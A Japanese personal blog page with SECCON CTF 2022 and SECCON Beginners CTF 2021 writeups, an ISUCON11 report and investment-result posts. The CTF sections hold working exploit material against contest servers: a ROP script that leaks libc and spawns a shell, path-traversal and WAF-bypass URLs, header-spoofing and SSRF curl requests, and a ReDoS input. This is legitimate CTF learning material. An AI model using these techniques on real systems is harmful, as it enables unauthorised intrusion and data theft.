SECCON CTF 2022 Quals writeup

SECCON CTF 2022 Quals writeup

いつも通り yharima で参加.今年は人が集まって5人.
結果は 915 pts で 49th でした.国内のみでは 14位で Final に届かず….つらい….

ソース

解いた時に使ったソースはこちら. github.com

[welcome] welcome

開始前に Discord の #announcement に書いてあって,これか?と思いながら入れたら通った.

SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

[pwnable] koncha

とりあえずいつも通り pwn 問から.パッとみた感じ BOF があるので ROP からの libc の base addr 抜いて onegadget かなーと思ったら PIE 有りだった.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

PIE 有効なのでアドレス決め打ちの ROP はできず,先にどこかのアドレスを先に leak できないと何もできない.FSB はない. そして2回の scanf のうち2回目では BOF して制御を奪わないといけなさそうであるなら,1回目で何かしらの leak が必要. ソースを読んでいるとなぜか1回目の scanf は "%[^\n]s" となっている.これ改行いれたらどうなるんだ?と思い入れてみると何かあやしいものがでてきた.

Hello! What is your name?

Nice to meet you, ����!

実際上で出てきたアドレスとは異なるが,自分の手元ではこれは 0x7f4e6aa4f2e8 だった. gdb でこのアドレスを見てみるとどうやら _exit_funcs_lock のアドレスらしい.とりあえず何かしらリークはできた. このアドレスがどこの何なのかを i proc map でみる.

$ i proc map
process 2181875
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7f4e6a85e000     0x7f4e6a880000    0x22000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6a880000     0x7f4e6a9f8000   0x178000    0x22000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6a9f8000     0x7f4e6aa46000    0x4e000   0x19a000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa46000     0x7f4e6aa4a000     0x4000   0x1e7000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa4a000     0x7f4e6aa4c000     0x2000   0x1eb000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6
      0x7f4e6aa4c000     0x7f4e6aa52000     0x6000        0x0
      0x7f4e6aa52000     0x7f4e6aa53000     0x1000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa53000     0x7f4e6aa54000     0x1000     0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa54000     0x7f4e6aa55000     0x1000     0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa55000     0x7f4e6aa56000     0x1000     0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa56000     0x7f4e6aa57000     0x1000     0x3000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall
      0x7f4e6aa57000     0x7f4e6aa58000     0x1000        0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa58000     0x7f4e6aa7b000    0x23000     0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa7b000     0x7f4e6aa83000     0x8000    0x24000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa84000     0x7f4e6aa85000     0x1000    0x2c000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa85000     0x7f4e6aa86000     0x1000    0x2d000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so
      0x7f4e6aa86000     0x7f4e6aa87000     0x1000        0x0
      0x7ffd93ce6000     0x7ffd93d07000    0x21000        0x0 [stack]
      0x7ffd93d85000     0x7ffd93d88000     0x3000        0x0 [vvar]
      0x7ffd93d88000     0x7ffd93d89000     0x1000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

この状態で libc の先頭は 0x7f4e6a85e000_exit_funcs_lock0x7f4e6aa4f2e8 で差分をとると 0x1f12e8 となる. 相対位置がわかったので,リークしたアドレスから 0x1f12e8 を引けば libc の先頭アドレスとなる. あとは libc の中から条件を満たせそうな onegadget のオフセットを調べて libc の先頭アドレスに足し込めば仕込みは完了. 2回目の scanf を BOF させ RIP を奪って onegadget に飛ばせばシェルがあがる.

% python koncha.py
[+] Opening connection to koncha.seccon.games on port 9001: Done
[+] leak_data = 0x7f76aa0422e8
[+] libc_addr = 0x7f76a9e51000
[*] Switching to interactive mode
$ ls -l
total 24
-r-xr-x--- 1 root pwn 16992 Nov  3 07:45 chall
-r--r----- 1 root pwn    56 Nov  3 07:45 flag-50d05c4f3e767dfc58f5cde347c36370.txt
$ cat flag-50d05c4f3e767dfc58f5cde347c36370.txt
SECCON{I_should_have_checked_the_return_value_of_scanf}

[reversing] babycmp

angr に任せようとなったので,正解表示のアドレスと失敗表示のアドレスを ghidra で抜いてくる. 長さまで解析するのめんどうだったので適当な長さにし find に 0x12cc を avoid に 0x127d を指定して angr を実行.

$ python3 babycmp.py
WARNING | 2022-11-12 07:04:23,729 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-11-12 07:04:23,731 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 41 unconstrained bytes referenced from 0x100028 (strlen+0x0 in extern-address space (0x28))
b'SECCON{y0u_f0und_7h3_baby_flag_YaY}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

[misc] find flag

メンバーがやっていたが,フラグファイルの位置をどう特定するんだ…となって自分もみることに. /proc 周りなどはすでに調べてくれていて,その線はなさそうなようだったのでソースを読む. inputopen かあたりしかなんとかなりそうなところはない. Pyhton 2 なら input に何かできるんだけどな…と思いながら open に * とかいれれないかと思い調べてみると glob 使うしか無理そう.

しばらく悩み input に色々入れて遊んでいる時に,ふと虚無入れたらどうなるんだろうとおもって \x00 投げ込んだらフラグが降ってきた.

% perl -e 'print "\x00"' | nc find-flag.seccon.games 10042
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

[web] easylfi

ソースコードを読んだ感じ,以下の流れとなりそうと判断.

  • path traversal を bypass して /flag.txt を読み出す
  • SECCON がレスポンスに含まれているとブロックする WAF を bypass する

web 問はログが出ていないと割とどうしようもないので,ローカルで app.py に app.logger.info() を足して動きを観察していく. まず path traversal だが ..% が潰されているのでいきなり露頭に迷う.しばらく {name} を置換してくれるテンプレートを動かして挙動とかを確認していたら,ふと curl のパス展開で {hello.html, hello.html} みたいにやると2個とれるのか…?と思いつきやってみる.

% curl 'http://easylfi.seccon.games:3000/\{hello.html,hello.html\}'
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

いけんじゃん!となる.なら ..{.}{.} みたいな形でバイパスできそう,というわけでやってみる.

% curl 'http://easylfi.seccon.games:3000/\{.\}\{.\}/\{.\}\{.\}/flag.txt'
Try harder%

/flag.txt の読み出しに成功したので,あとは WAF の bypass を考える.2ファイル読み込みしてテンプレートでうまく置換できないかと思うもうまくいかない.フラグの形式は SECCON{XXX} なので {} に置き換えて,それより前に { があれば置換させれる.でも { をどうやって置換するんだ…と唸っていたらメンバーの一人が以下のような発言をする.

?{=} とすると,}{ に置き換えれる(正解には --_curl_--file:///app/public/../../app/public/hello.html みたいな文字が挟まるが見づらいので省略).

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
SECCON{XXX}

=>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }name}!</h1>
</body>
</html>
SECCON}XXX}

ただ,このままでは {name} が壊れて置換できない.なので先に {name}={' をしてから?{=}` とすると

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }!</h1>
</body>
</html>
SECCON}XXX}

となり,やっぱり { が消失してしまう.でもよく考えると ?{=} じゃなくて ?{=}{ とやると以下のようなりやりたいことが可能となる.

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }{!</h1>
</body>
</html>
SECCON}{XXX}

あとは {} で囲まれた範囲の文字を SECCON を含まないように置換すれば良い.というわけで改行まわりで色々めんどくさかったが以下で通った. http://easylfi.seccon.games:3000//%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/%7Bapp/public/hello.html,flag.txt%7D?%7Bname%7D=%7B&%7B=%7D%7B&%7B!%3C/h1%3E%0A%3C/body%3E%0A%3C/html%3E%0A--_curl_--file:///app/public/../../flag.txt%0ASECCON%7D=SECC0N

これをブラウザで開くと

--_curl_--file:///app/public/../../app/public/hello.html

Hello, }SECC0N{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser} 

となり,フラグは SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser} となる(O0 に置き換えてるので最後に読み替える).

[reversing] eguite

WIndows と ELF バイナリの両方あって親切.自分の UbuntuGUI ないので Parallels 上の Windows でひとまず動かしてみると,どうもフラグを入れて正解かを判定するみたい. ghidra で開いてみるもでかすぎてこれはしんどいなーとなったので,ひとまず Windows 上で x64dbg にかけて動的な解析をする. 入力のチェックをしている場所をさがすのに,エラーとなる文字で検索するとそれっぽそうなところがみつかった. 適当な長さの文字列をいれているとどうやら invalid license になったので長さチェックをしていそう,ということでそのあたりを追うと以下の A8BA20 でチェックしていた.

43文字であることがわかったので適当に SECCON{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIII} を入れて動かしていく. するとなんか定期的に - とフラグ内の文字が比較されて invalid license を出すので順次 - に入れ替えていくと SECCON{AAAABBBBCCCC-DDDEEE-FFFFGG-GHHHHIII} というようなシリアルみたいな形式であることがわかった.

どうやら4つに分割されてそれぞれを足したりして特定の値になるかチェックしているらしい.ここまできたらアドレスがわかっているので ghidra で追ってみると以下の部分があった.

        if ((byte *)((long)puVar3 + (long)puVar9) != (byte *)0x8b228bf35f6a) {
          return false;
        }
        if ((byte *)((long)puVar7 + (long)puVar9) != (byte *)0xe78241) {
          return false;
        }
        if ((byte *)((long)input + (long)puVar7) == (byte *)0xfa4c1a9f) {
          if ((byte *)((long)puVar3 + (long)input) == (byte *)0x8b238557f7c8) {
            return ((ulong)puVar7 ^ (ulong)puVar9 ^ (ulong)input) == 0xf9686f4d;
          }
          return false;
        }
        return false;
      }

ただ. puVar がそれぞれどの部分を指しているかいまいちわからなかったので,引き続き動かしながら当てはめていくと SECCON{8b228b0bdd29-e78241-FFFFGG-fa4c1a9f} までたどり着いた. ただ, FFFFGG の部分がいままで 000000 として扱われていて最後が成立しなくなった.ghidra のコードから結局は以下を解けば良いことがわかった.

1kome + 2kome = 0x8b228bf35f6a
3kome + 2kome = 0xe78241
4kome + 3kome = 0xfa4c1a9f
1kome + 4kome = 0x8b238557f7c8
3kome ^ 2kome ^ 4kome = 0xf9686f4d

xor とか自分で解ける気せんし…となり z3 に投げる. z3 で xor とりたい場合は Int はだめで BitVec で定義しないとだめらしい.

% python3 eguite.py
[c = 9242415,
 b = 5929746,
 d = 4190049136,
 a = 152980487201880]

それぞれ a, b, c, d がでたので 16進数に置き換えて SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370} を入れてみると通った.なんかとても遠回りをした気がした….

まとめ

今回自分は結構頑張った気がします.スプラ3のフェスは犠牲になったのだ…. 暗号はマジでわからんので,メンバーに完全に任せていました.

正直 pwn はもうちょい解けないとだめだし,解けた問題に関しても時間をかけすぎている気がするという反省点が多かったです. メンバーからのヒントとかで解けた問題もあったところは良かった.逆に他メンバーのフォローできなかったところはだめだった.

結果はほんとに悔しい.しばらくオンサイト決勝がなくて久々だったので国内決勝に行きたかった…. :cry:

2021年運用成績 & おまけ

2021年運用成績 & おまけ

概要

いつもの.運用ポリシーと過去の成績は以下.

yuta1024.hateblo.jp

yuta1024.hateblo.jp

yuta1024.hateblo.jp

yuta1024.hateblo.jp

結果

今年はエバーグランデやらオミクロンやらで後半は失速気味だったけど,かなり成績は良かった.

f:id:yharima:20211231143013p:plain

ロールオーバー

ついに 2017 年の NISA 枠が終わるのでロールオーバーを選択してみた. SBI 証券の結果をみるともう 2022 年の枠に移動していた.なかなか良い成績.

f:id:yharima:20211231143307p:plain

おまけ1

FP 3級の勉強をして受験しました.無事受かりました.次は2級.

f:id:yharima:20211231144119j:plain

おまけ2

実は家買いました.ブログにまとめようとおもったらやばい文章量になって書き終わらない. 書き終わったら公開したいですが,一生書き終わらない気がしてきた.

ISUCON11 Qual writeup

ISUCON11 Qual writeup

実は毎年参加しているんだけど記事にはしてなかった.
最近ブログも書いてないので書いてみる.

概要

ワイハリマ で参加.最終スコア 26656 でいまいち伸びなかった.
メンバーはいつも通り nhirokinet, tyabuki との3人で,なぜかずっと PHP を使っているチームです(特に執着するような理由はない).
どこかで集まってやろうと思ったけどこんなご時世で緊急事態宣言もでてるので Discord を使ったオンライン参戦. Google docs も少し使った.

リポジトリは以下. github.com

初動

今年はろくに準備もしてなく,中々ひどかった. とりあえず AWS から CloudFormation 流して待ってる間に軽くマニュアルを流し読み. いつも割と禁止事項以外は割と流し読みしてるの内緒.

インスタンスがあがったら初期のままベンチ叩いて 1600 点くらい. php に切り替えてもらうと 1000 点未満になって草生えた. ここからリポジトリソースコードもってきたり, kataribe 入れたりそういう足回り的なことを自分はやっていた.

序盤〜中盤

POST /api/isu/condition/<uuid> がやたらめったら叩かれていて 499 が大量に返っていてまともにリクエスト食えてないんじゃないかという話が上がる. dropProbability はあるが,そもそも php-fpm に流すこと自体無駄なんじゃないか,ということで nginx 側でなんとかしたいと言われる.

upstream と weight 使えばなんとかなるじゃないかと思い自分が担当することに.詳細はリポジトリの nginx.conf をみてください.中々ゴミみたいな実装なんだけど,これが最終的にスコアを変動させる大きな要素となって意外と便利だった.チーム内では "upstream 芸" や "weight 芸" とかいう謎な呼び方をされていた.

久々に nginx 触ったのでやたら時間がかかったが,最終的に9割のリクエストを nginx から 201 を返し,残り1割だけ php-fpm に流すと今まで1000点未満をウロウロしていたのが一気に上がり10000点くらいになる.自分の一番の貢献はここだった.

あとは php 周りの設定みて xdebug 外したり JIT 有効にしてみたりしていた(結局 JIT は効果なさそうだった).

終盤

MySQL 専用機 + POST /api/isu/condition/<uuid> 専用機 + 残りすべて(ここが nginx でベンチのリクエスト受けるとこ)の構成にしてベンチを叩くと,ベンチのリクエストを受けるサーバがやっぱり重い. GET /api/isu/condition が重いのでこれを残り2台のサーバに流したくなる. 流してみると 401 が返ってきて,認証いるじゃん,となる.

ソース読むと session に書いてるだけなので,クッキーに user_id 書いてガバらせる方向で nhirokinet が実装すると分離に成功して 29000点くらいの最高スコアがでる.
もうあんまり時間がないので再起動試験とかやったあと weight 芸という名の POST /api/isu/condition/<uuid> の振り分ける割合を弄ってベンチ流して良い値をみつけるテストをやって終了.

まとめ

事前準備が不足していたり, nginx の config がろくにかけなかったりなんだかエンジニアとして終わりだしてる気がした ISUCON だった(ワイの職業ってエンジニアだったよね…?).

一方で今回は,各個人が好き勝手やるんじゃなくて色々ちゃんと議論してそれぞれ役割分担して改善するといったことができたのはチームとしてよかったんじゃないかなと,振り返って思った.ちゃんと復習とかやりたいね,という話をしていつもしてないけど,さすがにそろそろやりたい.

あと今回はさすがに PHP のままで問題ないのかはすごく気になっているので,このあたりはちゃんと検証したい(とはいえ Go や Rust をすらすら書ける自信もないのがなぁ…).

おまけ

チームメンバーの writeup です.

blog.nhiroki.net

SECCON Beginners CTF 2021 writeup

SECCON Beginners CTF 2021

yharima で参加.ついにメンバーが集まらず実質ぼっち参加だった(一人だけ最後2時間くらい参加してた). 2447pts で 46th でした.うーん….

[welcome] welcome

Discord に来るだろうと待機して最速で入れるゲーム.

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

おまけ

入れて即スコアボードみたら以下みたいになっててバグってたけど最速だったんだろうか? f:id:yharima:20210523175749p:plain

[crypto] simple_RSA

e がやたら小さいので, c の e乗根を取れば復号できるらしい.

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

from Crypto.Util.number import long_to_bytes
import gmpy

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

print(long_to_bytes(gmpy.root(c, e)[0]))

[crypto] Logical_SEESAW

説明がうまくできないので雑ですが暗号化される手順を追うと,

  • FLAG をバイナリにして2進数へ変換
  • 上記と同じ長さのランダムな key を生成
  • 50%の割合以下のどちらかとなるものを16個作成
    • flag[i]
    • flag[i] & key[i] の結果とする

なので,フラグが立ってるならかならずそこは正しい.一方で折れてる場合は怪しい. なので16個あるから全部フラグが折れてるなら確率的には折れてるのが正しそう,という判断をして bit を集めてきて文字列にする.

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

from Crypto.Util.number import long_to_bytes
cipher = [] # output.txt
flag = ''
for i in range(len(cipher[0])):
    c = ''
    for j in range(len(cipher)):
      c += cipher[j][i]
    if c == '0000000000000000':
      flag += '0'
    else:
      flag += '1'
print(long_to_bytes(int(flag, 2)))

[crypto] GFM

なんもよくわからんかったんだけど,どうやら SageMath のコードらしい? コードをみると行列計算していて,必要な情報は全部揃ってるのでドキュメント見ながら逆演算する. 実行環境はめんどかったので,オンラインの使った.

SIZE = 8
p = 331941721759386740446055265418196301559
MS = MatrixSpace(GF(p), SIZE)
key = MS.matrix([[(snip)]]) # output.txt
enc = MS.matrix([[(snip)]]) # output.txt
print(key.inverse() * enc * key.inverse())

あとはアスキー範囲内の数字の部分だけとってきて繋ぐ.

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

[reversing] only_read

cmp で1文字づつ比較してるので比較部分だけとってきて繋ぐ.

$ objdump -M intel -d chall | grep 'cmp    al,' | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{c0n5t4nt_f0ld1ng}

[reversing] children

最近乗り換えた Ghidra を使って解析すると,どうやら hoge 関数内でフラグを表示してそうであることがわかる. vvv 関数を解析すれば良さそうに思えるんだけど面倒なので,ひとまず条件関係なく表示させるように NOP で潰す. PID のところは ps auxf すればわかるのでそこはちゃんと入力した(そこも潰せばいいんだけど).

$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!
16282
ok
Please give me my child pid!
16292
ok
Please give me my child pid!
16296
ok
Please give me my child pid!
16299
ok
Please give me my child pid!
16302
ok
Please give me my child pid!
16305
ok
Please give me my child pid!
16308
ok
Please give me my child pid!
16312
ok
Please give me my child pid!
16315
ok
Please give me my child pid!
16319
ok
How many children were born?
aaaaa
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

[reversing] please_not_trace_me

タイトルからしてもどうみても anti-debug が実装されていそう. 実際 ptrace するとデバッガ検知して落ちる. ひとまず Ghidra で解析しながら anti-debug ならどうせ ptrace 呼んでるんだろうと思って潰す. これで gdb が動くので,なんかフラグを decrypt してそうな rc4 に BP 仕掛けて実行するとフラグが出た.

Breakpoint 2, 0x0000555555555297 in main ()
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x555555559280 ("ctf4b{d1d_y0u_d3crypt_rc4?}")

[reversing] be_angry

公式のサンプルをパクって angr 流す.

ctf4b{3nc0d3_4r1thm3t1c}

import angr

project = angr.Project("./chall", auto_load_libs=False)

@project.hook(0x402539)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

[reversing] firmware

strings してみるとなんか色々なファイルが含まれているみたいで, 32 bit ARM のバイナリも転がっていそう. とりあえずバイナリを binwalk で取り出して Ghidra へ投げ込む. main 関数を追うとどうもサーバっぽくなっていて送られてきた文字列がフラグと一致してるかを検証している. この際,入力された文字と 0x53 で XOR をとり, DAT_00010ea4 の格納されているデータを比較している. なので, DAT_00010ea4 のデータを全部抜いて 0x53 で XOR をとればフラグになる.

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

[pwnable] rewriter

繋ぐと stack の状態が表示される.任意のアドレスを書き換えれるようなので return addr を書き換える.
バイナリも提供されていて, win 関数でフラグを表示しているのでそちらに書き換えてあげれば良い.

$ objdump -M intel -d chall | grep win
00000000004011f6 <win>:
$ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x0000000000000000  <- buf
 0x00007fff86f2e208 | 0x0000000000000000
 0x00007fff86f2e210 | 0x0000000000000000
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x0000000000000000  <- target
 0x00007fff86f2e228 | 0x0000000000000000  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00007f11ff334bf7  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

Where would you like to rewrite it?
> 0x00007fff86f2e238
0x00007fff86f2e238 = 0x4011f6

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x3666313130347830  <- buf
 0x00007fff86f2e208 | 0x326532663638000a
 0x00007fff86f2e210 | 0x00000000000a3833
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x00000000004011f6  <- target
 0x00007fff86f2e228 | 0x00007fff86f2e238  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00000000004011f6  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

[pwnable] beginners_rop

タイトル通りに ROP する. BOF脆弱性があるので BOF して制御を奪って適当な GOT のアドレスを puts して libc addr を leak する. この際,最後にもう一度 main 関数のアドレスを積んでおいてもう1回 BOF できるようにしておく. 次は libc base addr がわかっているので onegadget でシェルを上げる.

% python beginners_rop.py
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
7f03f5b52000
[*] Switching to interactive mode
$ ls -l
total 28
-r-xr-x--- 1 root pwn 17008 May 21 01:52 chall
-r--r----- 1 root pwn    20 May 21 01:52 flag.txt
-r-xr-x--- 1 root pwn    34 May 21 01:52 redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}

src

from pwn import *
context.arch = 'amd64'
con = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(0x401283) # pop rdi
payload += pack(0x404018) # puts@got
payload += pack(0x401070) # puts@plt
payload += pack(0x401196)
con.sendline(payload)
con.recvline()

libc_base_addr = unpack(con.recvline().strip() + "\x00\x00") - 0x80aa0
print "%x" % libc_base_addr

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(libc_base_addr + 0x4f3d5)
con.sendline(payload)
con.recvline()

con.interactive()

[web] osoba

なんかいかにもディレクトリトラバーサルしてください,みたいな URL なので ../flag してみるとフラグがでる.

% curl 'https://osoba.quals.beginners.seccon.jp/?page=../flag'
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

[web] Werewolf

ソースコードを読むと roleWEREWOLF ならフラグがでそう. namecolor は POST parameter に渡せばいけるんだけけどプロパティなので role=WEREWOLF とやってもうまくいかない. これ,内部的にはどうなってるんだろうと思って,以下のようなコードを実行すると {'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}

import random
class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

    @property
    def role(self):
        return self.__role

player = Player()
print(vars(player))

なるほど, _Player__role を書き換えてあげればいいのね,ということで以下を実行するとフラグを得れる.

% curl -sfS 'https://werewolf.quals.beginners.seccon.jp/' --data-raw '_Player__role=WEREWOLF' | grep ctf4b
            <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>

[web] check_url

ソースコードを読むと, REMOTE_ADDR が 127.0.0.1 でアクセスするとフラグがでるらしい. ただ, preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url) のように置換されてしまうので . は使えない. 127.0.0.1 は SSRF あるあるネタとして様々な表現ができるので順番にためす. * 2130706433: だめ * 017700000001: だめ * 0x7F000001: OK

というわけで,

% curl -sfS 'https://check-url.quals.beginners.seccon.jp/?url=0x7F000001' | grep ctf4b
          Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}        </h5>

[web] json

ソースを読むとまず, 192.168.111.0/24 からのアクセスに制限されていることがわかる. nginx の config を見ると以下の記述があって X-Forwarded-For を最初から送れば偽装できることがわかる.

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

なので,まず以下のような curl を投げると内部からのアクセスに偽装することができる.

% curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id": 2}'
{"error":"It is forbidden to retrieve Flag from this BFF server."}

次は id = 2 であればフラグがでるのだけどチェックされている. bff 側は json 形式に変換してチェックしているのに, api 側は body から取り出しているだけ.(いま見ると普通に jsonparser 使ってたので普通に見間違えてました). json の key って大文字とか小文字チェックしてるんだっけ?と思って投げてみたらうまくいった.

curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id":2, "ID": 1}'
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

[web] cant_use_db

DB 使ってないみたいなタイトルで実際ソースを見るとファイルに書き出している. すべての材料を揃えるのはお金が足りないんだけど,ロック処理とかしてないのですべての購入を同じタイミングで投げるといけるんじゃないかと思いやってみる. まず, sessionId を普通に curl を投げてとって,以下のリクエストをほぼ同時に投げる.

% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'

うまく買えたらあとは sessionId をセットして /eat を叩く.

% curl 'https://cant-use-db.quals.beginners.seccon.jp/eat' -H 'Cookie: session=(snip)'
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

[misc] git-leak

objects 片っ端から漁るスクリプト書いたらでた.

$ ./solve.sh | grep ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

src

#!/bin/bash

for dir in `ls .git/objects`; do
  for file in `ls .git/objects/$dir`; do
    git cat-file -p "$dir$file"
  done
done

[misc] Mail_Address_Validator

ソースをみると正規表現の実行をタイムアウトさせたらフラグが表示されるみたい. とりあえず適当に長いの投げてどれくらいかかるか見てみるかーと思って投げたらそのままタイムアウトしてフラグが出てしまった.

% perl -e 'print "a@" . "a" x 128' | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

[misc] depixelization

ソースコードから [a-z][0-9] の画像を生成して気合で目 diff する.まじで気合.

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

まとめ

  • ぼっちは寂しい
  • Ghidra 最高
  • モンハンしてたやつはギルティ
  • Pwn 勉強不足
  • Crypto 無理
  • あと2, 3問は解きたかった

2020年運用成績 & おまけ

2020年運用成績 & おまけ

概要

毎年恒例のやつ.運用ポリシーと過去の成績は以下.

yuta1024.hateblo.jp

yuta1024.hateblo.jp

yuta1024.hateblo.jp

結果

コロナで一時期は100万以上溶けてたけど最終的には大幅に+となった.ジェットコースターみ.

f:id:yharima:20201231132240p:plain

悩み

